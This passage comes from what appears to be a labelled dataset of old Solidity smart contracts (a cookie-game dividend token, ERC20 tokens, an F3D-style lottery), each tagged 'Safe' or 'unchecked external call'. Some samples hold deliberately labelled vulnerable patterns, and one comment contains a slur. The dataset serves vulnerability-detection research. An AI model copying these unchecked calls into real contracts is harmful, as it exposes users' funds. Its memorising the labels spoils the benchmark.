caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (-payoutsTo_[_customerAddress])) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { // Remove this on main launch require(_incomingEthereum <= 1 finney); require( // auto start now >= startTime || // ambassador pre-mine within 1 hour before startTime, sequences enforced (now >= startTime - 1 hours && !ambassadorsPremined[msg.sender] && ambassadorsPremined[ambassadorsPrerequisite[msg.sender]] && _incomingEthereum <= ambassadorsMaxPremine[msg.sender]) || // ambassador pre-mine within 10 minutes before startTime, sequences not enforced (now >= startTime - 10 minutes && !ambassadorsPremined[msg.sender] && _incomingEthereum <= ambassadorsMaxPremine[msg.sender]) ); if (now < startTime) { ambassadorsPremined[msg.sender] = true; } // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the ""greater then"" equasion. require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); } // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tell MoonInc contract for tokens amount change, and transfer dividends. moonIncContract.handleProductionIncrease.value(_dividends)(_customerAddress, _amountOfTokens * cookieProductionMultiplier); // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } /** * @dev Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } /** * @dev Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } contract MoonInc { string public constant name = ""Cookie | Moon, Inc.""; string public constant symbol = ""Cookie""; uint8 public constant decimals = 18; // Total balances uint256 public totalEtherCookieResearchPool; // Eth dividends to be split between players' cookie production uint256 public totalCookieProduction; uint256 private roughSupply; uint256 private lastTotalCookieSaveTime; // Last time any player claimed their produced cookie // Balances for each player mapping(address => uint256) public cookieProduction; mapping(address => uint256) public cookieBalance; mapping(address => uint256) private lastCookieSaveTime; // Last time player claimed their produced cookie // Mapping of approved ERC20 transfers (by player) mapping(address => mapping(address => uint256)) internal allowed; // Production unit contracts ProductionUnitToken[] public productionUnitTokenContracts; mapping(address => bool) productionUnitTokenContractAddresses; // Store the production unit start time to calculate sell price. uint256[] public tokenContractStartTime; uint256 public constant firstUnitStartTime = 1526763600; // TODO: change this in main launch contract // ERC20 events event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); // Constructor function MoonInc() public payable { // Create first production unit (Space Kitty) createProductionUnit1Beta(); // Create first production unit (Space Rabbit) // createProductionUnit2Beta(); // Create first production unit (Space Hamster) // createProductionUnit3Beta(); } function() public payable { // Fallback will add to research pot totalEtherCookieResearchPool += msg.value; } // TODO: Create 7 createProductionUnit functions in main launch contract function createProductionUnit1Beta() public { require(productionUnitTokenContracts.length == 0); createProductionUnitTokenContract(10, 10, 10, 0.0000001 ether / 1000, 0.00000001 ether / 1000, 1, firstUnitStartTime); } function createProductionUnit2Beta() public { require(productionUnitTokenContracts.length == 1); createProductionUnitTokenContract(15, 15, 15, 0.0000001 ether / 1000, 0.00000001 ether / 1000, 3, firstUnitStartTime + 1 days); } function createProductionUnit3Beta() public { require(productionUnitTokenContracts.length == 2); createProductionUnitTokenContract(20, 20, 20, 0.0000001 ether / 1000, 0.00000001 ether / 1000, 9, firstUnitStartTime + 2 days); } function createProductionUnitTokenContract( uint8 _entryFee, uint8 _transferFee, uint8 _exitFee, uint256 _tokenPriceInitial, uint256 _tokenPriceIncremental, uint256 _cookieProductionMultiplier, uint256 _startTime ) internal { ProductionUnitToken newContract = new ProductionUnitToken(address(this), _entryFee, _transferFee, _exitFee, _tokenPriceInitial, _tokenPriceIncremental, _cookieProductionMultiplier, _startTime); productionUnitTokenContracts.push(newContract); productionUnitTokenContractAddresses[address(newContract)] = true; tokenContractStartTime.push(_startTime); } function productionUnitTokenContractCount() public view returns (uint) { return productionUnitTokenContracts.length; } function handleProductionIncrease(address player, uint256 amount) public payable { require(productionUnitTokenContractAddresses[msg.sender]); updatePlayersCookie(player); totalCookieProduction = SafeMath.add(totalCookieProduction, amount); cookieProduction[player] = SafeMath.add(cookieProduction[player], amount); if (msg.value > 0) { totalEtherCookieResearchPool += msg.value; } } function handleProductionDecrease(address player, uint256 amount) public payable { require(productionUnitTokenContractAddresses[msg.sender]); updatePlayersCookie(player); totalCookieProduction = SafeMath.sub(totalCookieProduction, amount); cookieProduction[player] = SafeMath.sub(cookieProduction[player], amount); if (msg.value > 0) { totalEtherCookieResearchPool += msg.value; } } function getState() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { return (totalCookieProduction, cookieProduction[msg.sender], totalSupply(), balanceOf(msg.sender), totalEtherCookieResearchPool, lastTotalCookieSaveTime, computeSellPrice()); } function totalSupply() public constant returns(uint256) { return roughSupply + balanceOfTotalUnclaimedCookie(); } function balanceOf(address player) public constant returns(uint256) { return cookieBalance[player] + balanceOfUnclaimedCookie(player); } function balanceOfTotalUnclaimedCookie() public constant returns(uint256) { if (lastTotalCookieSaveTime > 0 && lastTotalCookieSaveTime < block.timestamp) { return (totalCookieProduction * (block.timestamp - lastTotalCookieSaveTime)); } return 0; } function balanceOfUnclaimedCookie(address player) internal constant returns (uint256) { uint256 lastSave = lastCookieSaveTime[player]; if (lastSave > 0 && lastSave < block.timestamp) { return (cookieProduction[player] * (block.timestamp - lastSave)); } return 0; } function transfer(address recipient, uint256 amount) public returns (bool) { updatePlayersCookie(msg.sender); require(amount <= cookieBalance[msg.sender]); cookieBalance[msg.sender] -= amount; cookieBalance[recipient] += amount; Transfer(msg.sender, recipient, amount); return true; } function transferFrom(address player, address recipient, uint256 amount) public returns (bool) { updatePlayersCookie(player); require(amount <= allowed[player][msg.sender] && amount <= cookieBalance[player]); cookieBalance[player] -= amount; cookieBalance[recipient] += amount; allowed[player][msg.sender] -= amount; Transfer(player, recipient, amount); return true; } function approve(address approvee, uint256 amount) public returns (bool){ allowed[msg.sender][approvee] = amount; Approval(msg.sender, approvee, amount); return true; } function allowance(address player, address approvee) public constant returns(uint256){ return allowed[player][approvee]; } function updatePlayersCookie(address player) internal { roughSupply += balanceOfTotalUnclaimedCookie(); cookieBalance[player] += balanceOfUnclaimedCookie(player); lastTotalCookieSaveTime = block.timestamp; lastCookieSaveTime[player] = block.timestamp; } // Sell all cookies, the eth earned is calculated by the proportion of cookies owned. // Selling of cookie is forbidden within one hour of new production unit launch. function sellAllCookies() public { updatePlayersCookie(msg.sender); uint256 sellPrice = computeSellPrice(); require(sellPrice > 0); uint256 myCookies = cookieBalance[msg.sender]; uint256 value = myCookies * sellPrice / (1 ether); cookieBalance[msg.sender] = 0; msg.sender.transfer(value); } // Compute sell price for 1 cookie, it is 0.5 when a new token contract is deployed, // and then goes up until it reaches the maximum sell price after 5 days. function computeSellPrice() public view returns (uint) { uint256 supply = totalSupply(); if (supply == 0) { return 0; } uint index; uint lastTokenContractStartTime = now; while (index < tokenContractStartTime.length && tokenContractStartTime[index] < now) { lastTokenContractStartTime = tokenContractStartTime[index]; index++; } if (now < lastTokenContractStartTime + 1 hours) { return 0; } uint timeToMaxValue = 2 days; // TODO: change to 5 days in main launch contract uint256 secondsPassed = now - lastTokenContractStartTime; secondsPassed = secondsPassed <= timeToMaxValue ? secondsPassed : timeToMaxValue; uint256 multiplier = 5000 + 5000 * secondsPassed / timeToMaxValue; return 1 ether * totalEtherCookieResearchPool / supply * multiplier / 10000; } }",Safe,8,8 35403.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ClubEth is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ClubEth( ) { balances[msg.sender] = 10000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000; // Update total supply (100000 for example) name = ""ClubEth""; // Set the name for display purposes decimals = 2; // Amount of decimals for display purposes symbol = ""CLBE""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 32220.sol,"pragma solidity ^0.4.8; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { uint256 constant MAX_UINT256 = 2**256 - 1; function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed when one does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(keccak256(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } }",./Dataset/unchecked external call (UC),7,7 2530.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularShort is F3Devents {} contract NewChance is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xdF762c13796758D89C91F7fdac1287b8Eeb294c4); address private admin1 = 0xFf387ccF09fD2F01b85721e1056B49852ECD27D6; address private admin2 = msg.sender; string constant public name = ""New Chance""; string constant public symbol = ""NEWCH""; uint256 private rndExtra_ = 12 hours; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 2 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(36,0); fees_[1] = F3Ddatasets.TeamFee(59,0); fees_[2] = F3Ddatasets.TeamFee(66,0); fees_[3] = F3Ddatasets.TeamFee(46,0); potSplit_[0] = F3Ddatasets.PotSplit(7,0); potSplit_[1] = F3Ddatasets.PotSplit(22,0); potSplit_[2] = F3Ddatasets.PotSplit(12,0); potSplit_[3] = F3Ddatasets.PotSplit(27,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 1, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); 